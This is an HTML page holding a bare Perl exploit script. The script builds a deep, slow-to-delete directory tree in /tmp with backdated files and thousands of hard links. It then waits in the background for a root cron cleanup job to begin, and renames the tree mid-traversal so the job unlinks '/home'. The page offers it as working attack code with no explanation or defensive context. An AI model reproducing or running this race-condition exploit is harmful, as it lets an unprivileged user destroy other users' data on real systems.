<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=windows-1251"></HEAD>
<BODY><PRE>#!/usr/bin/perl5 -w
use strict;

# The thing in / that we want to unlink.
my $target = 'home';

######################################################

use Fatal qw(mkdir chdir open utime rename link);

chdir '/tmp';
mkdir 'x47', 0755;
chdir 'x47';
mkdir 'foo', 0755;
oldfile($target);
chdir 'foo';
mkdir 'bar', 0755;
chdir 'bar';

mkdir 'tree', 0755;

chdir 'tree';
oldfile('trigger');
mkdir 'big', 0755;

# build something that will take a while to tear down
chdir 'big';
for my $f (1..50)
{  oldfile($f);
   for my $l (1..100)
   {  link $f, "$f.$l";
   }
}
chdir '..';

print "waiting for the cron job...\n";
fork and exit;

while (-r 'trigger')
{  
   select undef, undef, undef, 0.1;
}

rename '/tmp/x47/foo/bar/tree', '/tmp/x48';

sub oldfile
{  
   my $file = shift;
   open OUT, "&gt;$file";
   utime 0, 0, $file;
}

</PRE></BODY></HTML>
